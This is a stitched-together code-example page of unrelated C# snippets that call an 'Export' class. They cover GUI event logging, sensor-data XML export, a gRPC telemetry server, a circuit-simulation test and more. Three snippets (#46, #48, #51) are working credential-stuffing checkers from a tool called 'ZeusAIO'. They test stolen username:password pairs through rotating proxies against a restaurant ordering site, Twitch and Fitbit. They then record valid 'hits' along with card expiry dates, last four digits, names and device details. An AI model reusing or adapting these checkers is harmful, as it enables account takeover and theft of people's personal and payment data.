     Export.DebugOut("EventMouseWheel  _rel=" + _rel.ToString());
 }
示例#37
0
 /// <summary>
 /// Exports a field.
 /// </summary>
 /// <param name="Field">Field.</param>
 public void Field(Field Field)
 {
     Export.ExportField(this.xml, Field);
 }
示例#38
0
 static void widget_EventRootKeyChangeFocus(Widget _sender, bool _focus)
 {
     Export.DebugOut("EventRootKeyChangeFocus  _focus=" + _focus.ToString());
 }
示例#39
0
 static void widget_EventKeyButtonPressed(Widget _sender, KeyCode _key, uint _char)
 {
     Export.DebugOut("EventMouseMove  _key=" + _key.ToString() + "   _char=" + _char.ToString());
 }
示例#40
0
 static void tab_EventTabChangeSelect(TabControl _sender, uint _index)
 {
     Export.DebugOut("EventTabChangeSelect  index=" + _index.ToString());
 }
示例#41
0
 static void widget_EventToolTip(Widget _sender, ref ToolTipInfo _info)
 {
     Export.DebugOut("EventToolTip  _info=" + _info.ToString());
 }
示例#42
0
        public void Start(Action <TTelemetryBatch> onBatchReceived)
        {
            if (this.IsRunning)
            {
                throw new InvalidOperationException(
                          FormattableString.Invariant($"Can't Start the input, it's already running"));
            }

            this.stats           = new InputStats();
            this.cts             = new CancellationTokenSource();
            this.onBatchReceived = onBatchReceived;

            try
            {
                this.server = new Server
                {
                    Services = { this.aiServer != null ? AITelemetryService.BindService(this.aiServer) : Export.BindService(this.openCensusServer) },
                    Ports    = { new ServerPort(this.host, this.port, ServerCredentials.Insecure) }
                };

                this.server.Start();

                this.IsRunning = true;
            }
            catch (System.Exception e)
            {
                throw new InvalidOperationException(
                          FormattableString.Invariant($"Could not initialize the gRPC server. {e.ToString()}"));
            }
        }
示例#43
0
 /// <summary>
 /// Exports a numerical field.
 /// </summary>
 /// <param name="FieldName">Field name.</param>
 /// <param name="Value">Value.</param>
 /// <param name="Type">Type.</param>
 /// <param name="Status">Status.</param>
 public void ExportField(string FieldName, long Value, ReadoutType Type, FieldStatus Status)
 {
     Export.ExportField(this.xml, FieldName, Value, Type, Status);
 }
示例#44
0
 /// <summary>
 /// Exports a numerical field.
 /// </summary>
 /// <param name="FieldName">Field name.</param>
 /// <param name="Value">Value.</param>
 /// <param name="NrDecimals">Number of decimals.</param>
 /// <param name="Unit">Unit.</param>
 /// <param name="Type">Type.</param>
 /// <param name="Status">Status.</param>
 public void ExportField(string FieldName, double Value, int NrDecimals, string Unit, ReadoutType Type, FieldStatus Status)
 {
     Export.ExportField(this.xml, FieldName, Value, NrDecimals, Unit, Type, Status);
 }
示例#45
0
 static void widget_EventMouseButtonDoubleClick(Widget _sender)
 {
     Export.DebugOut("EventMouseButtonDoubleClick");
 }
示例#46
0
        public static bool CheckAccount(string[] s, string proxy)
        {
            for (int i = 0; i < Config.config.Retries + 1; i++)
            {
                while (true)
                {
                    try
                    {
Retry:
                        using (HttpRequest httpRequest = new HttpRequest())
                        {
                            proxy = ZeusAIO.mainmenu.proxies.ElementAt(new Random().Next(ZeusAIO.mainmenu.proxiesCount));
                            if (ZeusAIO.mainmenu.proxyProtocol == "HTTP")
                            {
                                httpRequest.Proxy = HttpProxyClient.Parse(proxy);
                            }
                            if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS4")
                            {
                                httpRequest.Proxy = Socks4ProxyClient.Parse(proxy);
                            }
                            if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS5")
                            {
                                httpRequest.Proxy = Socks5ProxyClient.Parse(proxy);
                            }
                            httpRequest.UserAgent                       = "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko";
                            httpRequest.IgnoreProtocolErrors            = true;
                            httpRequest.AllowAutoRedirect               = true;
                            httpRequest.SslCertificateValidatorCallback = (RemoteCertificateValidationCallback)Delegate.Combine(httpRequest.SslCertificateValidatorCallback,
                                                                                                                                new RemoteCertificateValidationCallback((object obj, X509Certificate cert, X509Chain ssl, SslPolicyErrors error) => (cert as X509Certificate2).Verify()));
                            string str         = "username="******"&password="******"&app_id=&restaurant_id=564b586f4f5ee9ab057b23c6&order_id=&ajax=true";
                            string strResponse = httpRequest.Post("https://ordering.orders2.me/login?to=https%3A%2F%2Fordering.orders2.me/menu/bagelboy3rdave%3Fkey%3D349f2ff5ba80df26513caf426321d4e1%26include_combo%3Dtrue", str, "application/x-www-form-urlencoded").ToString();
                            {
                                if (strResponse.Contains("error"))
                                {
                                    break;
                                }
                                else if (strResponse.Contains("{\"success\":true}")) //hit
                                {
                                    string checkpayment = httpRequest.Get("https://ordering.orders2.me/admin/user/profile", null).ToString();
                                    string payment      = "";
                                    string expire2sin   = Check.Parse(checkpayment, "expires", "</p>");
                                    string endidn       = Check.Parse(checkpayment, "ending in", "expires");
                                    if (checkpayment.Contains("expires"))
                                    {
                                        payment = "true";
                                    }
                                    else
                                    {
                                        payment = "false";
                                    }
                                    ZeusAIO.mainmenu.hits++;
                                    if (Config.config.LogorCui == "2")
                                    {
                                        Console.WriteLine("[HIT - BAGELBOY] " + s[0] + ":" + s[1] + " | Has payment method: " + payment + " | Expiration: " + expire2sin + " | Last four: " + endidn, Color.Green);
                                    }
                                    Export.AsResult("/BagelBoy_hits", s[0] + ":" + s[1] + " | Has payment method: " + payment + " | Expiration: " + expire2sin + " | Last four: " + endidn);
                                    return(false);
                                }
                                else
                                {
                                    ZeusAIO.mainmenu.realretries++;
                                    goto Retry;
                                }
                            }
                            //break;
                        }
                    }
                    catch (Exception ex)
                    {
                        ZeusAIO.mainmenu.errors++;
                    }
                }
            }
            return(false);
        }
示例#47
0
 static void widget_EventMouseButtonPressed(Widget _sender, int _left, int _top, MouseButton _id)
 {
     Export.DebugOut("EventMouseButtonPressed  _left=" + _left.ToString() + "   _top=" + _top.ToString() + "   _id=" + _id.ToString());
 }
示例#48
0
        public static bool CheckAccount(string[] s, string proxy)
        {
            for (int i = 0; i < Config.config.Retries + 1; i++)
            {
                while (true)
                {
                    try
                    {
Retry:
                        using (HttpRequest httpRequest = new HttpRequest())
                        {
                            proxy = ZeusAIO.mainmenu.proxies.ElementAt(new Random().Next(ZeusAIO.mainmenu.proxiesCount));
                            if (ZeusAIO.mainmenu.proxyProtocol == "HTTP")
                            {
                                httpRequest.Proxy = HttpProxyClient.Parse(proxy);
                            }
                            if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS4")
                            {
                                httpRequest.Proxy = Socks4ProxyClient.Parse(proxy);
                            }
                            if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS5")
                            {
                                httpRequest.Proxy = Socks5ProxyClient.Parse(proxy);
                            }
                            httpRequest.IgnoreProtocolErrors = true;
                            httpRequest.AllowAutoRedirect    = true;
                            httpRequest.AddHeader("User-Agent", "Mozilla/5.0 (Linux; Android 6.0.1; SM-J106H Build/MMB29Q; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/84.0.4147.105 Mobile Safari/537.36 hasFix PHAPP");
                            httpRequest.AddHeader("Client-Id", "85lcqzxpb9bqu9z6ga1ol55du");
                            string str = "{\"variables\":{\"username\":\"" + s[0] + "\"},\"query\":\"query checkIsUsernameAvailable($username: String!) { isUsernameAvailable(username: $username) }\"}";
                            httpRequest.SslCertificateValidatorCallback = (RemoteCertificateValidationCallback)Delegate.Combine(httpRequest.SslCertificateValidatorCallback,
                                                                                                                                new RemoteCertificateValidationCallback((object obj, X509Certificate cert, X509Chain ssl, SslPolicyErrors error) => (cert as X509Certificate2).Verify()));
                            string strResponse = httpRequest.Post("https://gql.twitch.tv/gql", str, "application/json").ToString();
                            {
                                if (strResponse.Contains("isUsernameAvailable\":true"))
                                {
                                    break;
                                }
                                else if (strResponse.Contains("isUsernameAvailable\":false")) //hit
                                {
                                    ZeusAIO.mainmenu.hits++;
                                    if (Config.config.LogorCui == "2")
                                    {
                                        Console.WriteLine("[HIT - TWITCH LEGACY] " + s[0] + ":" + s[1], Color.Green);
                                    }
                                    Export.AsResult("/Twitch_Legacy_hits", s[0] + ":" + s[1]);
                                    return(false);
                                }
                                else
                                {
                                    ZeusAIO.mainmenu.errors++;
                                    goto Retry;
                                }
                            }
                            break;
                        }
                    }
                    catch (Exception ex)
                    {
                        ZeusAIO.mainmenu.errors++;
                    }
                }
            }
            return(false);
        }
示例#49
0
 static void widget_EventMouseMove(Widget _sender, int _left, int _top)
 {
     Export.DebugOut("EventMouseMove  _left=" + _left.ToString() + "   _top=" + _top.ToString());
 }
            public SingleExportComposablePart(Export export)
            {
                ArgumentNullException.ThrowIfNull(export);

                _export = export;
            }
示例#51
0
        public static bool CheckAccount(string[] s, string proxy)
        {
            for (int i = 0; i < Config.config.Retries + 1; i++)
            {
                while (true)
                {
                    try
                    {
Retry:
                        using (HttpRequest httpRequest = new HttpRequest())
                        {
                            proxy = ZeusAIO.mainmenu.proxies.ElementAt(new Random().Next(ZeusAIO.mainmenu.proxiesCount));
                            if (ZeusAIO.mainmenu.proxyProtocol == "HTTP")
                            {
                                httpRequest.Proxy = HttpProxyClient.Parse(proxy);
                            }
                            if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS4")
                            {
                                httpRequest.Proxy = Socks4ProxyClient.Parse(proxy);
                            }
                            if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS5")
                            {
                                httpRequest.Proxy = Socks5ProxyClient.Parse(proxy);
                            }
                            httpRequest.UserAgent            = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36";
                            httpRequest.IgnoreProtocolErrors = true;
                            httpRequest.AllowAutoRedirect    = true;
                            string str = string.Concat(new string[]
                            {
                                "username="******"&password="******"&scope=activity heartrate location nutrition profile settings sleep social weight mfa_ok&grant_type=password"
                            });
                            httpRequest.AddHeader("Authorization", "Basic MjI4VlNSOjQ1MDY4YTc2Mzc0MDRmYzc5OGEyMDhkNmMxZjI5ZTRm");
                            httpRequest.SslCertificateValidatorCallback = (RemoteCertificateValidationCallback)Delegate.Combine(httpRequest.SslCertificateValidatorCallback,
                                                                                                                                new RemoteCertificateValidationCallback((object obj, X509Certificate cert, X509Chain ssl, SslPolicyErrors error) => (cert as X509Certificate2).Verify()));
                            string text2 = httpRequest.Post("https://android-api.fitbit.com/oauth2/token?session-data={\"os-name\":\"Android\",\"os-version\":\"5.1.1\",\"device-model\":\"LGM-V300K\",\"device-manufacturer\":\"LGE\",\"device-name\":\"\"}", str, "application/x-www-form-urlencoded").ToString();


                            if (text2.Contains("deviceVersion"))
                            {
                                ZeusAIO.mainmenu.hits++;
                                if (Config.config.LogorCui == "2")
                                {
                                    Console.WriteLine("[HIT - FITBIT] " + s[0] + s[1], Color.Green);
                                }
                                Export.AsResult("/Fitbit_hits", s[0] + ":" + s[1]);
                                return(false);
                            }
                            else
                            {
                                if (text2.Contains("Invalid username/password") || text2.Contains("Missing parameters") || text2.Contains("plan\":\"\""))
                                {
                                    //
                                    break;
                                }
                                else if (text2.Contains("access_token"))
                                {
                                    httpRequest.ClearAllHeaders();
                                    string str2 = Check.Parse(text2, "access_token\":\"", "\"");
                                    string str3 = Check.Parse(text2, "user_id\":\"", "\"");
                                    httpRequest.AddHeader("Authorization", "Bearer " + str2);
                                    string text3 = httpRequest.Get("https://android-api.fitbit.com/1/user/" + str3 + "/devices.json?", null).ToString();
                                    if (text3.Contains("[]"))
                                    {
                                    }
                                    else if (text3.Contains("deviceVersion"))
                                    {
                                        string text4 = Check.Parse(text3, "deviceVersion\":\"", "\"");
                                        string text5 = Check.Parse(text3, "lastSyncTime\":\"", "\"");
                                        httpRequest.AddHeader("Authorization", "Bearer " + str2);
                                        string text6 = httpRequest.Get("https://android-api.fitbit.com/1/user/" + str3 + "/profile.json", null).ToString();
                                        if (text6.Contains("fullName\":\""))
                                        {
                                            string text7 = Check.Parse(text6, "fullName\":\"", "\"");
                                            string text8 = Check.Parse(text6, "memberSince\":\"", "\"");
                                            ZeusAIO.mainmenu.hits++;
                                            if (Config.config.LogorCui == "2")
                                            {
                                                Console.WriteLine("[HIT - FITBIT] " + s[0] + ":" + s[1] + " | Name: " + text7 + " | Member Since: " + text8 + " | Last Sync Time: " + text5 + " | Device: " + text4, Color.Green);
                                            }
                                            Export.AsResult("/Fitbit_hits", s[0] + ":" + s[1] + " | Name: " + text7 + " | Member Since: " + text8 + " | Last Sync Time: " + text5 + " | Device: " + text4);
                                            return(false);
                                        }
                                    }
                                    else
                                    {
                                        ZeusAIO.mainmenu.realretries++;
                                        goto Retry;
                                    }
                                }
                            }
                        }
                        //break;
                    }
                    catch (Exception ex)
                    {
                        ZeusAIO.mainmenu.errors++;
                    }
                }
            }
            return(false);
        }
示例#52
0
 /// <summary>
 /// Starts the export of sensor data values for a particular node. This call must be followed by a call to <see cref="EndNode"/>.
 /// Use <see cref="StartTimestamp"/> to export node information pertaining to a given point in time.
 /// </summary>
 /// <param name="NodeId">Node ID.</param>
 public void StartNode(string NodeId)
 {
     Export.StartExportNode(this.xml, NodeId);
 }
示例#53
0
        public void When_DelayTransient_Expect_Reference()
        {
            // Build the circuit
            var ckt = new Circuit(
                new VoltageSource("V1", "in", "0", new Pulse(0, 5, 1e-7, 1e-7, 1e-7, 1e-5, 2e-5)),
                new VoltageDelay("Delay1", "out", "0", "in", "0", 0.5e-5)
                );

            // Build the simulation
            var tran    = new Transient("tran", 1e-7, 10e-5);
            var exports = new Export <double>[]
            {
                new GenericExport <double>(tran, () => tran.Method.Time),
                new RealVoltageExport(tran, "in"),
                new RealVoltageExport(tran, "out"),
            };
            var references = new[]
            {
                new[]
                {
                    0, 1E-09, 2E-09, 4E-09, 8E-09, 1.6E-08, 3.2E-08, 6.4E-08, 1E-07, 1.064E-07, 1.192E-07, 1.448E-07,
                    1.96E-07, 2E-07, 2.08E-07, 2.24E-07, 2.55999999999999E-07, 3.19999999999999E-07,
                    4.47999999999997E-07, 7.03999999999994E-07, 1.21599999999999E-06, 2.23999999999998E-06,
                    4.23999999999998E-06, 6.23999999999998E-06, 8.23999999999998E-06, 1.02E-05, 1.021E-05, 1.023E-05,
                    1.027E-05, 1.03E-05, 1.0308E-05, 1.0324E-05, 1.0356E-05, 1.042E-05, 1.0548E-05, 1.0804E-05,
                    1.1316E-05, 1.234E-05, 1.434E-05, 1.634E-05, 1.834E-05, 2.01E-05, 2.011E-05, 2.013E-05, 2.017E-05,
                    2.02E-05, 2.0208E-05, 2.0224E-05, 2.0256E-05, 2.032E-05, 2.0448E-05, 2.0704E-05, 2.1216E-05,
                    2.224E-05, 2.424E-05, 2.624E-05, 2.824E-05, 3.02E-05, 3.021E-05, 3.023E-05, 3.027E-05, 3.03E-05,
                    3.0308E-05, 3.0324E-05, 3.0356E-05, 3.042E-05, 3.0548E-05, 3.0804E-05, 3.1316E-05, 3.234E-05,
                    3.434E-05, 3.634E-05, 3.834E-05, 4.01E-05, 4.011E-05, 4.013E-05, 4.017E-05, 4.02E-05, 4.0208E-05,
                    4.0224E-05, 4.0256E-05, 4.032E-05, 4.0448E-05, 4.0704E-05, 4.1216E-05, 4.22400000000001E-05,
                    4.42400000000001E-05, 4.62400000000001E-05, 4.82400000000001E-05, 5.02E-05, 5.021E-05, 5.023E-05,
                    5.027E-05, 5.03E-05, 5.0308E-05, 5.0324E-05, 5.0356E-05, 5.042E-05, 5.0548E-05, 5.0804E-05,
                    5.1316E-05, 5.23400000000001E-05, 5.43400000000001E-05, 5.63400000000001E-05, 5.83400000000001E-05,
                    6.01E-05, 6.011E-05, 6.013E-05, 6.017E-05, 6.02E-05, 6.0208E-05, 6.0224E-05, 6.0256E-05, 6.032E-05,
                    6.0448E-05, 6.0704E-05, 6.1216E-05, 6.22400000000001E-05, 6.42400000000001E-05,
                    6.62400000000001E-05, 6.82400000000001E-05, 7.02E-05, 7.021E-05, 7.023E-05, 7.027E-05, 7.03E-05,
                    7.0308E-05, 7.0324E-05, 7.0356E-05, 7.042E-05, 7.0548E-05, 7.0804E-05, 7.1316E-05,
                    7.23400000000001E-05, 7.43400000000001E-05, 7.63400000000001E-05, 7.83400000000001E-05, 8.01E-05,
                    8.011E-05, 8.013E-05, 8.017E-05, 8.02E-05, 8.0208E-05, 8.0224E-05, 8.0256E-05, 8.032E-05,
                    8.0448E-05, 8.0704E-05, 8.1216E-05, 8.22400000000001E-05, 8.42400000000001E-05,
                    8.62400000000001E-05, 8.82400000000001E-05, 9.02E-05, 9.021E-05, 9.023E-05, 9.027E-05, 9.03E-05,
                    9.0308E-05, 9.0324E-05, 9.0356E-05, 9.042E-05, 9.0548E-05, 9.0804E-05, 9.1316E-05,
                    9.23400000000001E-05, 9.43400000000001E-05, 9.63400000000001E-05, 9.83400000000001E-05, 0.0001
                },
                new[]
                {
                    0, 0, 0, 0, 0, 0, 0, 0, 0, 0.32, 0.960000000000001, 2.24, 4.8, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5,
                    5, 4.50000000000009, 3.5000000000001, 1.50000000000012, 4.79616346638068E-14, 0, 0, 0, 0, 0, 0, 0,
                    0, 0, 0, 0, 0, 0.50000000000008, 1.50000000000007, 3.50000000000005, 4.99999999999995, 5, 5, 5, 5,
                    5, 5, 5, 5, 5, 5, 5, 5, 4.49999999999992, 3.49999999999993, 1.49999999999995, 4.79616346638068E-14,
                    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.499999999999741, 1.4999999999999, 3.49999999999988,
                    4.99999999999978, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 4.49999999999992, 3.49999999999976,
                    1.49999999999978, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.50000000000008, 1.50000000000024,
                    3.50000000000022, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 4.50000000000026, 3.5000000000001,
                    1.49999999999978, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.499999999999741, 1.4999999999999,
                    3.50000000000022, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 4.50000000000026, 3.5000000000001,
                    1.49999999999978, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
                },
                new[]
                {
                    0.0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5,
                    5, 5, 5, 5, 5, 5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5,
                    5, 5, 5, 5, 5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5,
                    5, 5, 5, 5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5,
                    5, 5, 5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5,
                    5, 5, 0, 0, 0
                },
            };

            // Analyze
            AnalyzeTransient(tran, ckt, exports, references);
            DestroyExports(exports);
        }
示例#54
0
 private void hyperLinkEdit1_OpenLink(object sender, OpenLinkEventArgs e)
 {
     Export.ExportGridToFile(processedGrid, "xls");
 }
示例#55
0
 /// <summary>
 /// Stops exporting Sensor Data.
 /// </summary>
 public void End()
 {
     Export.EndExportXml(this.xml);
 }
示例#56
0
 /// <summary>
 /// Starts the export of sensor data values for a particular node. This call must be followed by a call to <see cref="EndNode"/>.
 /// Use <see cref="StartTimestamp"/> to export node information pertaining to a given point in time.
 /// </summary>
 /// <param name="NodeId">Node ID.</param>
 /// <param name="CacheType">Cache Type</param>
 /// <param name="SourceId">Source ID.</param>
 public void StartNode(string NodeId, string CacheType, string SourceId)
 {
     Export.StartExportNode(this.xml, NodeId, CacheType, SourceId);
 }
示例#57
0
 static void widget_EventKeyButtonReleased(Widget _sender, KeyCode _key)
 {
     Export.DebugOut("EventKeyButtonReleased  _key=" + _key.ToString());
 }
示例#58
0
 /// <summary>
 /// Stops exporting a node. This call must be made for every call made to <see cref="StartNode"/>.
 /// </summary>
 public void EndNode()
 {
     Export.EndExportNode(this.xml);
 }
示例#59
0
 /// <summary>
 /// Stops exporting a timestamp. This call must be made for every call made to <see cref="StartTimestamp"/>.
 /// </summary>
 public void EndTimestamp()
 {
     Export.EndExportTimestamp(this.xml);
 }
示例#60
0
        public static void ExportMod()
        {
            var singleton = new EditorScriptableSingleton <ExportSettings>();

            Export.ExportMod(singleton.Instance);
        }